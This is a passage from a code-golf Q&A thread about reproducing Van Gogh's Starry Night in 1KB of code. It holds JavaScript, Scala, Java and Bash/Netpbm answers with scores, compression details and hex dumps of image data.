} //Example: get_random_hex_code(3) === '08E' function get_random_hex_code(num_characters) { let hex_code = ''; for (let i = 0; i < num_characters; i++) { hex_code = hex_code + '0123456789ABCDEF'.charAt(Math.floor(Math.random() * 16)); } return hex_code; } //Example: paint_square_on_canvas(context, 25, 136, 180, 56, '35F') function paint_square_on_canvas(context, x, y, width, height, color_code) { if (color_code === 'random') { color_code = get_random_3_digit_hex(); } context.fillStyle = '#' + color_code; context.fillRect(x * 8, y * 8, width * 8, height * 8); } //Compress a 0-to-255 red, green, and blue value down to a 3-digit hex code like '5fa' //TODO: Is there a way to round the values better? function convert_rgb_to_3_digit_hex(red, green, blue) { let red_hex = '0123456789ABCDEF'.charAt(Math.floor(red / 16)); let green_hex = '0123456789ABCDEF'.charAt(Math.floor(green / 16)); let blue_hex = '0123456789ABCDEF'.charAt(Math.floor(blue / 16)); return red_hex + green_hex + blue_hex; } function get_random_3_digit_hex() { let red_pixel = get_random_int_in_range(0, 255); let green_pixel = get_random_int_in_range(0, 255); let blue_pixel = get_random_int_in_range(0, 255); let hex = convert_rgb_to_3_digit_hex(red_pixel, green_pixel, blue_pixel); return hex; } function get_random_3_digit_hex_from_canvas(pixels) { let num_pixels = pixels.length; let pixel_start_index = get_random_int_in_range(0, (pixels.length - 4) / 4) * 4; let red_pixel = pixels[pixel_start_index + 0]; let green_pixel = pixels[pixel_start_index + 1]; let blue_pixel = pixels[pixel_start_index + 2]; let alpha_pixel = pixels[pixel_start_index + 3]; let hex = convert_rgb_to_3_digit_hex(red_pixel, green_pixel, blue_pixel); return hex; } //Given a canvas context, top left coordinate, and rectangle width/height, return the average color found within the rectangle function get_average_rectangle_color(context, rect_x, rect_y, rect_width, rect_height) { let canvas_width = context.canvas.clientWidth; let canvas_height = context.canvas.clientHeight; let ref_pixels = context.getImageData(rect_x, rect_y, rect_width, rect_height).data; let reds = []; let greens = []; let blues = []; for (let i = 0, n = ref_pixels.length; i < n; i += 4) { reds.push(ref_pixels[i+0]); greens.push(ref_pixels[i+1]); blues.push(ref_pixels[i+2]); } let average_red = reds.reduce((a, b) => a + b) / reds.length; let average_green = greens.reduce((a, b) => a + b) / greens.length; let average_blue = blues.reduce((a, b) => a + b) / blues.length; return convert_rgb_to_3_digit_hex(average_red, average_green, average_blue); } function paint_random_squares_on_canvas(ref_context, test_context, num_squares, rects_used) { let canvas_width = test_context.canvas.clientWidth; let canvas_height = test_context.canvas.clientHeight; let ref_pixels = ref_context.getImageData(0, 0, canvas_width, canvas_height).data; for (let i = 1; i < num_squares; i++) { let square_width = Math.round(get_random_int_in_range(4, canvas_width) / 8); let square_height = Math.round(get_random_int_in_range(4, canvas_height) / 8); //squares let square_x = Math.round(get_random_int_in_range(0, (canvas_width / 8) - square_width)); let square_y = Math.round(get_random_int_in_range(0, (canvas_height / 8) - square_height)); let color_code = get_average_rectangle_color(ref_context, square_x * 8, square_y * 8, square_width * 8, square_height * 8); paint_square_on_canvas(test_context, square_x, square_y, square_width, square_height, color_code); rects_used.push({ 'square_width': square_width, 'square_height': square_height, 'square_x': square_x, 'square_y': square_y, 'color_code': color_code }); } } function calculate_new_average(test_score) { last_100_scores.push(test_score); if (last_100_scores.length === 100) { let average_score = Math.round(last_100_scores.reduce((a, b) => a + b) / last_100_scores.length); let average_score_element = document.querySelector('#average-score'); average_score_element.innerHTML = average_score; last_100_scores = []; } } function check_for_new_best(test_pixels, test_score, rects_used) { calculate_new_average(test_score); if (test_score >= best_score) { return false; } let best_canvas = document.querySelector('#best-score-canvas'); let best_context = best_canvas.getContext('2d'); let best_score_element = document.querySelector('#best-score'); best_score = test_score; best_score_element.innerHTML = best_score.toFixed(2); let num_rects_element = document.querySelector('#num-rects'); num_rects_element.innerHTML = rects_used.length; best_context.putImageData(test_pixels, 0, 0); return true; } function compare_images(ref_context, test_context, rects_used) { let ref_image_data = ref_context.getImageData(0, 0, ref_context.canvas.clientWidth, ref_context.canvas.clientHeight); let ref_pixels = ref_image_data.data; let test_image_data = test_context.getImageData(0, 0, test_context.canvas.clientWidth, test_context.canvas.clientHeight); let test_pixels = test_image_data.data; if (ref_pixels.length !== test_pixels.length) { alert('Error! The reference and test image must have the same number of pixels.'); return null; } let test_score = 0; //lower is better for (let i = 0; i < ref_pixels.length; i += 4) { let ref_red = ref_pixels[i] / 255.0; let ref_green = ref_pixels[i + 1] / 255.0; let ref_blue = ref_pixels[i + 2] / 255.0; let ref_alpha = ref_pixels[i + 3] / 255.0; let test_red = test_pixels[i] / 255.0; let test_green = test_pixels[i + 1] / 255.0; let test_blue = test_pixels[i + 2] / 255.0; let test_alpha = test_pixels[i + 3] / 255.0; let pixel_diff = ((ref_red - test_red) ** 2) + ((ref_green - test_green) ** 2) + ((ref_blue - test_blue) ** 2); test_score += pixel_diff; } let test_score_element = document.querySelector('#comparison-score'); test_score_element.innerHTML = test_score.toFixed(2); let test_image_is_new_best = check_for_new_best(test_image_data, test_score, rects_used); if (test_image_is_new_best === true) { let html_output_textarea = document.querySelector('#html-output-textarea'); best_rects = rects_used; html_output_textarea.innerHTML = JSON.stringify(best_rects, null, 2); } } function find_best_color_for_rect(ref_context, test_context) { } function clamp_number(number, min, max) { } //Return a random color code that's similar to the one provided //max_changes controls the maximum number of characters in the string that will be changed //max_distance controls the maximum distance that each character can be changed //Example: get_adjacent_color_code('FC8', 2, 1) === 'EC9' function get_adjacent_color_code(color_code, max_changes, max_distance) { let hex_chars = '0123456789ABCDEF'; let new_color_code = ''; [...color_code].forEach(function(temp_char, old_char_index) { let decimal_index = hex_chars.indexOf(temp_char); let index_change = get_random_int_in_range(-max_distance, max_distance); //TODO: Exclude 0? let new_char = hex_chars.charAt(Math.min(Math.max(0, decimal_index + index_change), hex_chars.length - 1)); new_color_code += new_char; }); return new_color_code; } function try_more_test_squares(ref_context, test_context) { let rects_used = []; let ref_image_data = ref_context.getImageData(0, 0, ref_context.canvas.clientWidth, ref_context.canvas.clientHeight); let ref_pixels = ref_image_data.data; ref_canvas_width = ref_context.canvas.clientWidth; ref_canvas_height = ref_context.canvas.clientHeight; test_canvas_width = test_context.canvas.clientWidth; test_canvas_height = test_context.canvas.clientHeight; test_context.clearRect(0, 0, test_canvas_width, test_canvas_height); let num_squares = 45; let bg_ref_square_width = Math.round(get_random_int_in_range(4, ref_canvas_width) / 8); let bg_ref_square_height = Math.round(get_random_int_in_range(4, ref_canvas_height) / 8); //squares let bg_ref_square_x = Math.round(get_random_int_in_range(0, (ref_canvas_width / 8) - bg_ref_square_width)); let bg_ref_square_y = Math.round(get_random_int_in_range(0, (ref_canvas_height / 8) - bg_ref_square_height)); let color_code = get_average_rectangle_color(ref_context, bg_ref_square_x * 8, bg_ref_square_y * 8, bg_ref_square_width * 8, bg_ref_square_height * 8); let rects_to_use; if (!best_rects || best_rects == false) { //5999.90 (50 rects) rects_to_use = [{"square_x": 0, "square_y": 22, "square_width": 39, "square_height": 13, "color_code": "678"},{"square_x": 16, "square_y": 27, "square_width": 33, "square_height": 10, "color_code": "346"},{"square_x": 26, "square_y": 10, "square_width": 24, "square_height": 14, "color_code": "899"},{"square_x": 5, "square_y": 10, "square_width": 8, "square_height": 17, "color_code": "456"},{"square_x": 22, "square_y": 33, "square_width": 27, "square_height": 7, "color_code": "334"},{"square_x": 0, "square_y": 0, "square_width": 50, "square_height": 14, "color_code": "347"},{"square_x": -1, "square_y": 7, "square_width": 51, "square_height": 8, "color_code": "568"},{"square_x": 0, "square_y": 11, "square_width": 45, "square_height": 11, "color_code": "579"},{"square_x": 40, "square_y": 17, "square_width": 9, "square_height": 4, "color_code": "9A9"},{"square_x": 0, "square_y": 29, "square_width": 21, "square_height": 8, "color_code": "234"},{"square_x": 2, "square_y": 0, "square_width": 4, "square_height": 4, "color_code": "678"},{"square_x": 39, "square_y": 2, "square_width": 13, "square_height": 10, "color_code": "9a8"},{"square_x": 42, "square_y": 22, "square_width": 7, "square_height": 4, "color_code": "224"},{"square_x": -1, "square_y": 35, "square_width": 8, "square_height": 5, "color_code": "343"},{"square_x": 3, "square_y": 1, "square_width": 2, "square_height": 2, "color_code": "995"},{"square_x": 9, "square_y": 0, "square_width": 2, "square_height": 2, "color_code": "667"},{"square_x": 14, "square_y": 0, "square_width": 4, "square_height": 3, "color_code": "678"},{"square_x": 18, "square_y": 2, "square_width": 2, "square_height": 2, "color_code": "776"},{"square_x": 27, "square_y": 2, "square_width": 4, "square_height": 3, "color_code": "787"},{"square_x": -2, "square_y": 14, "square_width": 7, "square_height": 2, "color_code": "78A"},{"square_x": 36, "square_y": 3, "square_width": 3, "square_height": 18, "color_code": "569"},{"square_x": 9, "square_y": 5, "square_width": 3, "square_height": 3, "color_code": "775"},{"square_x": 7, "square_y": -2, "square_width": 2, "square_height": 17, "color_code": "345"},{"square_x": 32, "square_y": 7, "square_width": 4, "square_height": 4, "color_code": "788"},{"square_x": 42, "square_y": 8, "square_width": 4, "square_height": 2, "color_code": "BA3"},{"square_x": 4, "square_y": 18, "square_width": 4, "square_height": 3, "color_code": "897"},{"square_x": 6, "square_y": 15, "square_width": 5, "square_height": 16, "color_code": "222"},{"square_x": 6, "square_y": 27, "square_width": 10, "square_height": 13, "color_code": "222"},{"square_x": 14, "square_y": 12, "square_width": 2, "square_height": 4, "color_code": "897"},{"square_x": 10, "square_y": 14, "square_width": 6, "square_height": 5, "color_code": "457"},{"square_x": 14, "square_y": 18, "square_width": 5, "square_height": 6, "color_code": "9a9"},{"square_x": 38, "square_y": 19, "square_width": 5, "square_height": 4, "color_code": "899"},{"square_x": 45, "square_y": 20, "square_width": 5, "square_height": 2, "color_code": "334"},{"square_x": 27, "square_y": 25, "square_width": 26, "square_height": 2, "color_code": "346"},{"square_x": 30, "square_y": 38, "square_width": 6, "square_height": 3, "color_code": "444"},{"square_x": 11, "square_y": 25, "square_width": 3, "square_height": 2, "color_code": "333"},{"square_x": 41, "square_y": 4, "square_width": 5, "square_height": 4, "color_code": "BA6"},{"square_x": 16, "square_y": 31, "square_width": 6, "square_height": 11, "color_code": "222"},{"square_x": 24, "square_y": -1, "square_width": -3, "square_height": 3, "color_code": "568"},{"square_x": 16, "square_y": 6, "square_width": 8, "square_height": 3, "color_code": "678"},{"square_x": 17, "square_y": 12, "square_width": 12, "square_height": 7, "color_code": "679"},{"square_x": 30, "square_y": 15, "square_width": -10, "square_height": 8, "color_code": "568"},{"square_x": -2, "square_y": 29, "square_width": 8, "square_height": 1, "color_code": "347"},{"square_x": 39, "square_y": 24, "square_width": 15, "square_height": 8, "color_code": "458"},{"square_x": 36, "square_y": 29, "square_width": 14, "square_height": 4, "color_code": "456"},{"square_x": 20, "square_y": 33, "square_width": 20, "square_height": -2, "color_code": "345"},{"square_x": 23, "square_y": 31, "square_width": 4, "square_height": 4, "color_code": "345"},{"square_x": 36, "square_y": 35, "square_width": 15, "square_height": 2, "color_code": "345"},{"square_x": 39, "square_y": 24, "square_width": 3, "square_height": 2, "color_code": "234"},{"square_x": 16, "square_y": 11, "square_width": 2, "square_height": 2, "color_code": "346"}]; } else { rects_to_use = structuredClone(best_rects); let max_rects = 50; //Chance to add a new rectangle for (let i = 1; i < (get_random_int_in_range(0, max_rects - rects_to_use.length)); i++) { if (Math.random() < (.05)) { let square_width = Math.round(get_random_int_in_range(1, test_canvas_width) / 8); let square_height = Math.round(get_random_int_in_range(1, test_canvas_height) / 8); //squares let square_x = Math.round(get_random_int_in_range(0, (test_canvas_width / 8) - square_width)); let square_y = Math.round(get_random_int_in_range(0, (test_canvas_height / 8) - square_height)); let color_code = get_random_hex_code(3); let new_rect = {square_x: square_x, square_y: square_y, square_width: square_width, square_height: square_height, color_code: color_code}; rects_to_use = add_items_to_array_at_position(rects_to_use, get_random_int_in_range(0, rects_to_use.length - 1), [new_rect]); } } //Chance to change each rectangle's color for (let num_color_loops = 0; num_color_loops < 6; num_color_loops++) { if (Math.random() < .3) { rects_to_use[get_random_int_in_range(0, rects_to_use.length - 1)].color_code = get_random_3_digit_hex(); } } //Chance to change rectangle's position let coord_change; if (Math.random() < .2) { coord_change = ((Math.random() < .5) ? 1 : -1) * get_random_int_in_range(1, 6); rects_to_use[get_random_int_in_range(0, rects_to_use.length - 1)].square_x += coord_change; } if (Math.random() < .2) { coord_change = ((Math.random() < .5) ? 1 : -1) * get_random_int_in_range(1, 6); rects_to_use[get_random_int_in_range(0, rects_to_use.length - 1)].square_y += coord_change; } if (Math.random() < .2) { coord_change = ((Math.random() < .5) ? 1 : -1) * get_random_int_in_range(1, 6); rects_to_use[get_random_int_in_range(0, rects_to_use.length - 1)].square_width += coord_change; } if (Math.random() < .2) { coord_change = ((Math.random() < .5) ? 1 : -1) * get_random_int_in_range(1, 6); rects_to_use[get_random_int_in_range(0, rects_to_use.length - 1)].square_height += coord_change; } if (Math.random() < .2) { coord_change = ((Math.random() < .5) ? 1 : -1) * get_random_int_in_range(1, 6); rects_to_use[get_random_int_in_range(0, rects_to_use.length - 1)].square_height += coord_change; } } rects_to_use.forEach(function(rect) { paint_square_on_canvas(test_context, rect.square_x, rect.square_y, rect.square_width, rect.square_height, rect.color_code); rects_used.push(rect); }); compare_images(ref_context, test_context, rects_used); } document.addEventListener("DOMContentLoaded", function() { let ref_canvas = document.querySelector('#reference-image-canvas'); let ref_context = ref_canvas.getContext('2d'); let test_canvas = document.querySelector('#c'); let test_context = test_canvas.getContext('2d'); let ref_image = new Image(); ref_image.onload = function() { ref_context.drawImage(ref_image, 0, 0); setInterval(function(){try_more_test_squares(ref_context, test_context)}, 1); }; ref_image.src = 'reference-image.png'; }); </script> </html> ``` Example of my workflow using the tool: [![enter image description here](https://i.stack.imgur.com/faQPi.png)](https://i.stack.imgur.com/faQPi.png) [![enter image description here](https://i.stack.imgur.com/u3YkJ.png)](https://i.stack.imgur.com/u3YkJ.png) --- ### Future plans My approach so far has been limited to rectangles. Based on how curvy the original Starry Night painting is, I could probably achieve a higher score by using circles or polygons. I also realized too late that I overcompressed the coordinates and dimensions in attempt #3 and could have allowed the rectangles to have slightly more precision without adding any additional bytes. After finishing attempt #3, I tested out several [canvas filters](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/filter) and was able to immediately improve its final score by several hundred points using blur, drop-shadow, and opacity. However, I decided to exclude those improvements for now until I can properly incorporate them into the tool. [Answer] ## Scala, 6003.56 993 characters. One import is [scala image library](https://github.com/sksamuel/scrimage). Second import is [base 91 encoder](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22com.github.mcpat.libxjava%22). ``` object T extends App { import com.github.libxjava.io._, com.sksamuel.scrimage._ val a = "vuk:eJs4+BAAN/<MCG4DAA#TAAAA8FMAAA<cPjTTAAJ7oG]t>um^8Wm}ozBAn|m(qVi2Yt+j8GnHAD%FaO,BjL2c%w%z,M+OyQy9eR0wkSXUa1|1pm1$?XSrkFs(;9/]Vk3<%.^UVyt~_Pnh?n7;[v06@I`oB{.2OCGT/*v/pS|`XN5.rp1`5)M$wy49cuk0G=%lVCEbxW{^Wd*{JR]hZM>S0$&Eo1,wk6]/WkAK:{$}d__nf_YZ&qRlB;<S5T8OVF3C^}$*PYcqn$SvGU[8Q69kFgT#/l@+7)l><x&|XNO&eajx.0k^mY)MvyQ4sQoqvY7MpyaPJ@u_O&9[@$dr1c>(!QUN+:&F#ZZSX*LxcCIR)&,,0=T:1&IuG[r|yQ>[)oFJTvpvRaM5Z6#oGj^%6Xqqn[Uo2AoeoEuvt2A7_N7TL)9_+[oq^J_3gwqhg$^#+{n[cW(0H}cP\"ek=a34Cpt:u]Sab;~&;FlT_iy6fMw`F>z(MQ^}vvoAy?@XxV26Se8:FT)T]]N2KH`b4%l_Zuu@y=0fTH1WeQ58~~[(QAKYhf]^Bel^[Tb44/G96&^2O@_6L072:)lRpMDZYMB]i9GM]t?t0%Wq99/0Ti=gjDi6]P7b3:dU$N0e&1Z?PaY`Hb`h7l)%N`fsuzV;/x`Uce.8:?K[@0|ckpCe/emO7!8^~eZsN[$)iOZ0zYW4VE]K5?RbO|GYzx<a2C!:*]<PuzpsIie8#+x[5U6xZ\"e}k7y[5JVQ5z:]ZR2Gds&g^+U=LJ:hR*KFgJ[YF<<Av}L8WcAAA6yQMFGPe=hnB" Image(new Base91().decode(a.getBytes)).scaleTo(386, 320, ScaleMethod.Lanczos3).output("a.png") } ``` This is the base91 data: [![enter image description here](https://i.stack.imgur.com/JWnaX.png)](https://i.stack.imgur.com/JWnaX.png) [Answer] # Java, score 12251.19 ``` import java.awt.*; import java.awt.image.*; public class Y{ static Graphics2D g; static void rect(int...p){g.fillRect(p[0],p[1],p[2],p[3]);} static void col(int...p){g.setColor(new Color(p[0],p[1],p[2]));} public static void main(String[]a)throws Exception{ BufferedImage b=new BufferedImage(386,320,1); g=(Graphics2D)b.getGraphics(); col(77,98,119); rect(0,0,386,320); col(82,98,128); rect(11,0,386,57); col(186,159,80); rect(333,43,24,24); col(73,90,104); rect(0,282,386,50); col(76,97,95); rect(0,292,60,30); col(55,65,72); rect(34,130,91,190); rect(32,143,97,190); rect(46,193,99,190); rect(40,32,50,110); rect(45,20,43,110); javax.imageio.ImageIO.write(b,"png",new java.io.File("out.png")); } } ``` Based on [this Mathematica answer](https://codegolf.stackexchange.com/questions/69930/paint-starry-night-objectively-in-1kb-of-code/69934#69934), but with more rectangles. I'll probably continue to modify this later. Results: ![enter image description here](https://i.stack.imgur.com/gquyo.png) Some previous versions: ![enter image description here](https://i.stack.imgur.com/rb67R.png) ![enter image description here](https://i.stack.imgur.com/nvnlI.png) ![enter image description here](https://i.stack.imgur.com/ZjgEn.png) ![enter image description here](https://i.stack.imgur.com/t9gT2.png) ![enter image description here](https://i.stack.imgur.com/vo7TN.png) ![enter image description here](https://i.stack.imgur.com/vVdUk.png) [Answer] # Bash + Netpbm, ~~4558.5~~ 4394.1 **UPDATE:** I have improved the score by using SPIHT instead of FIASCO. [**SPIHT**](http://www.cipr.rpi.edu/research/SPIHT/) is an acronym for Set Partitioning In Hierarchical Trees. It is a highly efficient wavelet-based image compression format. I shrank the original PNG by quarter, then converted to PNM using `pngtopnm` from [Netpbm](http://netpbm.sourceforge.net/) v. 10.68, then removed the header and converted the RAW data to SPIHT with `codecolr in.raw out.spi 80 96 0.95` and got the 913-byte image file. Then I converted it back to RAW using `decdcolr -s out.spi out.raw 0.95`, next converted to PNM format using `rawtoppm -bgr 96 80`, flipped using `pamflip -tb`, upscaled to original size using `pamscale -xsize 386 -ysize 320 -filter sinc` and saved to PNM file, which is read by PIL. Here is my script (1KB): ``` 0000000: 6465 6364 636f 6c72 202d 7320 3c28 7461 decdcolr -s <(ta 0000010: 696c 202d 6e2b 3220 2430 2920 3e28 7261 il -n+2 $0) >(ra 0000020: 7774 6f70 706d 202d 6267 7220 3936 2038 wtoppm -bgr 96 8 0000030: 307c 7061 6d66 6c69 7020 2d74 627c 7061 0|pamflip -tb|pa 0000040: 6d73 6361 6c65 202d 7879 6669 6c6c 2033 mscale -xyfill 3 0000050: 3836 2033 3230 202d 6669 6c74 6572 2073 86 320 -filter s 0000060: 696e 633e 6f75 7429 2030 2e39 350a 6f00 inc>out) 0.95.o. 0000070: a060 206d 7997 f801 b8af b544 5f71 c411 .` my......D_q.. 0000080: bba5 e80c a148 0424 72b8 67b5 bd41 3fce .....H.$r.g..A?. 0000090: 4f43 8d78 9086 b69a ee32 c8ff ffd7 18f9 OC.x.....2...... 00000a0: ffff ffff ffff ffff ff7b f326 e0d5 d0f1 .........{.&.... 00000b0: 06b5 529f 9335 59cd 76c8 7a3c 0159 fc29 ..R..5Y.v.z<.Y.) 00000c0: 3cee ffff 7f48 caf9 6e59 3f8e 8a35 52e0 <....H..nY?..5R. 00000d0: 6b6c ad59 6d00 47cc 3934 488f aff6 5119 kl.Ym.G.94H...Q. 00000e0: 072b 0d9d deb8 ea10 11df d078 5db7 abc6 .+.........x]... 00000f0: 78df d367 1d58 71f9 ff2b 5163 7652 182e x..g.Xq..+QcvR.. 0000100: b774 e25d 3341 1d52 c607 a936 528c 1a55 .t.]3A.R...6R..U 0000110: e04e 8d15 0759 0035 74fb 60dd a644 05fb .N...Y.5t.`..D.. 0000120: 9ea8 8383 5838 cf25 6315 9a73 a600 8d6d ....X8.%c..s...m 0000130: 958c 43ae 57da 1bd0 f38e aca0 68ba 7b9d ..C.W.......h.{. 0000140: 29b1 1bf4 0f1c aecb 86a9 6b85 e4d7 4a22 ).........k...J" 0000150: 6b08 22c4 edc2 de62 6ced 8c9d c923 5ff9 k."....bl....#_. 0000160: ead2 1be7 4201 92a2 402a 4ab2 0d50 8984 ....B...@*J..P.. 0000170: 8a59 f25d 768e 05c6 11d8 990f bddc 2552 .Y.]v.........%R 0000180: 2ae8 ddd0 5cca 2c73 61eb 12af ac19 ae20 *...\.,sa...... 0000190: cc0f 2fcb 7a11 d4d5 7e16 66d6 f581 d81d ../.z...~.f..... 00001a0: 98a5 c5bf b63c 7f74 6a1d 1d63 3fdc c9f4 .....<.tj..c?... 00001b0: 506a 5b22 c7ec d67c 46d1 0965 9a09 bbb3 Pj["...|F..e.... 00001c0: 89ed a733 d1fd d114 0013 21cf add0 16ee ...3......!..... 00001d0: 88fa 1880 59df b39c e1aa d710 e441 3424 ....Y........A4$ 00001e0: 3852 a46b 3e36 2566 f0b0 bee0 9d8f 9285 8R.k>6%f........ 00001f0: 391b 1d8e 870a c1c9 645a 721e 4a0b d4c8 9.......dZr.J... 0000200: 2182 4393 2b1c 7fc8 d1cb 4f31 0290 cd11 !.C.+.....O1.... 0000210: 2446 5eb1 9d26 4df0 dbe4 a71b 4caa 102a $F^..&M.....L..* 0000220: 81e5 6f34 d1a3 0614 6f79 8fc4 cd06 d365 ..o4....oy.....e 0000230: fc38 29f4 a72e 31cd 532a 670d 06f2 4bb8 .8)...1.S*g...K. 0000240: f1ae f2ef e2f6 7543 3f8d 9f74 30ce dcba ......uC?..t0... 0000250: 662f 3ea2 e9bf a895 f29b b17c e472 b4dd f/>........|.r.. 0000260: 3bbd 0ed6 50f9 eadf 85cb 7648 882f 0f22 ;...P.....vH./." 0000270: 829e 723a 2c87 5740 f890 4724 1fe8 58e7 ..r:,[[email protected]](/cdn-cgi/l/email-protection)$..X. 0000280: 5375 f9db a740 c166 e098 c4c2 3d9b dad3 [[email protected]](/cdn-cgi/l/email-protection)....=... 0000290: e92b bf71 1e87 0437 1396 0fbf 8eed 2ef8 .+.q...7........ 00002a0: 7d5f 6767 1bf9 826a 2692 c9e5 78aa 724a }_gg...j&...x.rJ 00002b0: ceb6 7486 2a60 8698 35b3 20cf bd43 ea65 ..t.*`..5. ..C.e 00002c0: 39a7 b415 233c b945 eed0 0db8 18df ee0c 9...#<.E........ 00002d0: df0d 3719 5c74 fa56 7ec9 588d 22c4 6dbc ..7.\t.V~.X.".m. 00002e0: 6823 4536 2614 f9e0 40cd beb8 1aff 5f17 h#E6&...@....._. 00002f0: c6b2 5710 18e2 1c93 34b3 d219 9c83 d11f ..W.....4....... 0000300: 6125 fedb 975b 51a7 c9fc 23f7 7733 fa0e a%...[Q...#.w3.. 0000310: 970d 9c2d 8fc3 8edd 4bf9 db23 eff1 434e ...-....K..#..CN 0000320: d54f 1f2a d51a ddf1 a5a6 9687 8afa 8973 .O.*...........s 0000330: 43c1 8292 c2e1 ef0c 71dd f7de 0986 9f93 C.......q....... 0000340: 3dd5 f200 b3dd f709 7ab3 dad3 7d5d a522 =.......z...}]." 0000350: 0730 62a9 e817 4f56 b5b3 a216 edb9 8b90 .0b...OV........ 0000360: 52c0 c10c 9f8a f7f5 6500 1ee1 347b a756 R.......e...4{.V 0000370: 0566 21f6 0290 4282 55eb 0788 b508 a5e7 .f!...B.U....... 0000380: 6971 85e9 f512 da0f ee34 3725 fb62 4f8d iq.......47%.bO. 0000390: 4bc2 8f19 78ee 4db6 e9db f84d 8e09 66f7 K...x.M....M..f. 00003a0: 9a0c 5826 4075 e173 4f77 4652 6ef7 94ea ..X&@u.sOwFRn... 00003b0: f2ac 935b 836a 887b 3aa8 8516 1a10 8098 ...[.j.{:....... 00003c0: b4f2 5e19 fd63 5ba5 c9b5 940d c2b0 0d9c ..^..c[......... 00003d0: ae03 9e07 44ae edeb 9339 ca27 f7a9 f395 ....D....9.'.... 00003e0: 1dca 317b 93ce eb79 02cf 006b 6ab0 16dd ..1{...y...kj... 00003f0: 1854 17d6 1e95 5a39 2881 204d 1cdd 040a .T....Z9(. M.... ``` Here is the output PNG: [![Image restored from SPIHT](https://i.stack.imgur.com/AX80C.png)](https://i.stack.imgur.com/AX80C.png) Below is my ealier answer: --- [**FIASCO**](http://fileformats.archiveteam.org/wiki/FIASCO) is an acronym for Fractal Image And Sequence COdec, it is a highly efficient implementation of lossy [fractal compression](https://en.wikipedia.org/wiki/Fractal_compression). I shrank the original PNG by quarter, then converted to PNM using `pngtopnm` from [Netpbm](http://netpbm.sourceforge.net/) v. 10.68, then converted to FIASCO with `pnmtofiasco -q=14 -z=3` and got the 969-byte image file. Then I converted it back to PNM using `fiascotopnm`, upscaled to original size using `pamscale -xyfill 386 320` and saved to PNM file, which is read by PIL. Here is my script (1KB): ``` 0000000: 6669 6173 636f 746f 706e 6d3c 2874 6169 fiascotopnm<(tai 0000010: 6c20 2d6e 2b32 2024 3029 7c70 616d 7363 l -n+2 $0)|pamsc 0000020: 616c 6520 2d78 7966 696c 6c20 3338 3620 ale -xyfill 386 0000030: 3332 303e 6f2e 706e 6d0a 4649 4153 434f 320>o.pnm.FIASCO 0000040: 0a6f 2e66 636f 0001 0040 0040 000f ffff .o.fco...@.@.... 0000050: e70b 0140 2803 0280 2463 5a00 ab40 0000 ...@(...$cZ..@.. 0000060: 005e 44f8 62cb a400 4461 e539 a199 2d9c .^D.b...Da.9..-. 0000070: b01f 01fe 9327 7fea 572c e1c3 5652 e81a .....'..W,..VR.. 0000080: a86f 85d2 7617 762f 6746 6e4d 30af 7673 .o..v.v/gFnM0.vs 0000090: 2266 86fd eea4 0ef0 3996 8c37 e86e 663e "f......9..7.nf> 00000a0: dc9d 85cc 2e76 80e1 53ac a466 fa66 a19a .....v..S..f.f.. 00000b0: 8268 7a8a 9d84 596c f5b3 a99e c4c8 292f .hz...Yl......)/ 00000c0: 11ec f5d5 8c38 b3a4 4c34 e848 5e4e f00f .....8..L4.H^N.. 00000d0: bc72 e118 412e 3fa1 9a96 0452 95c4 5378 .r..A.?....R..Sx 00000e0: fba4 e181 438b 5a67 90ee cfd6 47ea 59fc ....C.Zg....G.Y. 00000f0: bfdc 3615 fc5c 4976 c1d0 50d0 aadc 1462 ..6..\Iv..P....b 0000100: fc50 89ab abde bede fc38 4329 838f d649 .P.......8C)...I 0000110: 8998 57ae e122 c13b b4a5 7110 0e2f de80 ..W..".;..q../.. 0000120: 338b bf2f 9e61 2bfd 6401 13f8 2621 06e9 3../.a+.d...&!.. 0000130: 3acd 8085 f0e0 2002 9d4f e445 f6e7 18f3 :..... ..O.E.... 0000140: 19a4 4649 3a00 d223 1547 45a7 d097 06fb ..FI:..#.GE..... 0000150: 9a25 119e 978b 88b8 d8fe 87d8 43c5 4d89 .%..........C.M. 0000160: 61ea 8314 99a1 1046 5c13 1026 375e cff2 a......F\..&7^.. 0000170: 9c12 fca6 ebab 23fe 707f 2d18 82af 7302 ......#.p.-...s. 0000180: df00 57c7 5a43 3818 4787 5f7a 0d0c 53b5 ..W.ZC8.G._z..S. 0000190: cc11 c562 840b 11f3 9ad3 c938 9e58 9af1 ...b.......8.X.. 00001a0: 40a2 6aab ac36 8a0c d5e6 fc8b b1a7 8dfc @.j..6.......... 00001b0: 4bb9 5404 6468 c037 a862 f313 6e6b d330 K.T.dh.7.b..nk.0 00001c0: a88c 8ef0 cd60 4c67 3232 9a08 3d46 2a45 .....`Lg22..=F*E 00001d0: 7eb0 5d80 c2ba f302 a50d 234c 2e81 bb3f ~.].......#L...? 00001e0: 4123 a172 d9a7 87ff 5289 fca4 f9f6 788b A#.r....R.....x. 00001f0: 587e 1021 5ead ae02 4eb5 891a 0a89 2a2a X~.!^...N.....** 0000200: 8b0f a66c a494 a63b 4e2d 3a83 a991 bc9d ...l...;N-:..... 0000210: 8d3c e129 e074 7028 9647 d8e6 e216 f109 .<.).tp(.G...... 0000220: 8664 ba00 7cb3 76ed ac31 68fe b179 9b22 .d..|.v..1h..y." 0000230: 40f0 4fde 6e43 2f1f fe7d bf05 7ac5 b05d @.O.nC/..}..z..] 0000240: 8be6 9ab1 c63b 6977 b019 0b5d 75dc 923c .....;iw...]u..< 0000250: e36c 55c7 e8d1 9395 75e5 cf8a 8af0 2757 .lU.....u.....'W 0000260: 9b6a 837c 108c 2660 8360 8c4e 17da 8f06 .j.|..&`.`.N.... 0000270: e6f7 a31c 2df4 f8e6 c1e9 cc03 7a1e 9c95 ....-.......z... 0000280: d1a3 e0bc 1514 c46c cfc1 8f2a 1b3e 2ff1 .......l...*.>/. 0000290: beea b692 45be d8e0 a0ab c3a6 5722 9602 ....E.......W".. 00002a0: bce0 0859 4939 0506 9a03 9373 0af7 5331 ...YI9.....s..S1 00002b0: e050 fa65 e927 ab84 dd3e 4f78 ef60 c881 .P.e.'...>Ox.`.. 00002c0: 8220 a924 d201 d212 8720 9b24 3099 6613 . .$..... .$0.f. 00002d0: bc23 57b9 dc91 f9d4 2416 1470 7d47 8c01 .#W.....$..p}G.. 00002e0: c8dd 4a9b 1140 bdaa 7679 2943 696d 7b74 [[email protected]](/cdn-cgi/l/email-protection))Cim{t 00002f0: acc4 ab69 36b3 ce4b 67c8 8d1c 95ad 4eef ...i6..Kg.....N. 0000300: 738b fd00 0f83 77c0 513d a114 615c c007 s.....w.Q=..a\.. 0000310: bd08 2bc0 6717 f35c 0125 4379 03ce e36b 